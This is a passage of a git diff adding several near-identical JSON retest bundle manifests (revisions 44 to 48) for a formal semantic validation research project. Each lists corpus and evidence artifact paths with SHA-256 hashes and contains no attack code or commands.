"workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "44.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v43.json", + "snapshot_sha256": "814464bffe85f7c6e17117c6443033dac13b401562fd54dd17cb7b725da5d3db" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v44.json b/docs/research/formal-semantic-validation/bundles/retest-v44.json new file mode 100644 index 000000000..159ba34dc --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v44.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v44.json", + "analysis_sha256": "e9621e89f9b9c25e3586ff657878d4c0706407580b1027c1c877ef1f3da22277", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "45.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v44.json", + "snapshot_sha256": "1d5858846a656ee53a03c342d0e64a98253241fdd7446c3060c18de72bbf2e01" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v45.json b/docs/research/formal-semantic-validation/bundles/retest-v45.json new file mode 100644 index 000000000..54fd1b350 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v45.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v45.json", + "analysis_sha256": "c2066d6fd9fed2f4de9297a8a7c984d38fa7f7e2a832f7e0b742b4269946d25a", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "46.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v45.json", + "snapshot_sha256": "667aaca87402497964fc5a2286f0017fab51ce8d431f54281765db173c5d0478" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v46.json b/docs/research/formal-semantic-validation/bundles/retest-v46.json new file mode 100644 index 000000000..366f1f62b --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v46.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v46.json", + "analysis_sha256": "f921eef601dbaf1d1266686d076642cead609a91e96a57166cfe4bd516df2e7a", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "47.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v46.json", + "snapshot_sha256": "2b313209dfa72b1e47a27670edbb683dfea8f89643779a6098b9cc3d118d3fca" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v47.json b/docs/research/formal-semantic-validation/bundles/retest-v47.json new file mode 100644 index 000000000..6767d4662 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v47.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v47.json", + "analysis_sha256": "7a52f5066c4f3f0d0355131dff7d7d16c5804b13e1322f8b1b387590ae59a921", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v4.json", + "corpus_sha256": "c57207af72406aa4f70882b9bbeb7cedcc79cf3854c878a95e3eb1fa59ea7a72", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "48.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v47.json", + "snapshot_sha256": "f6ee08a1d266d36b4c0711784986616b23307fac2d346d3abd75ce4861da4996" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v48.json b/docs/research/formal-semantic-validation/bundles/retest-v48.json new file mode 100644 index 000000000..01a992bce --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v48.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v48.json", + "analysis_sha256": "137102b106913836ac420978f8ff2cbfcf7efbfb56751bdd2bf8e2d49e0ab4c5", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml", + "sha256": "75834bdc883e2003e1c473870bdf75700978955bb83095c6bd718ba6bd3908a6" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml", + "sha256": "1d25bee5f556054e5f0a518df025e4c62e080e1964035e3c1a12e074d88d3a5d" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": 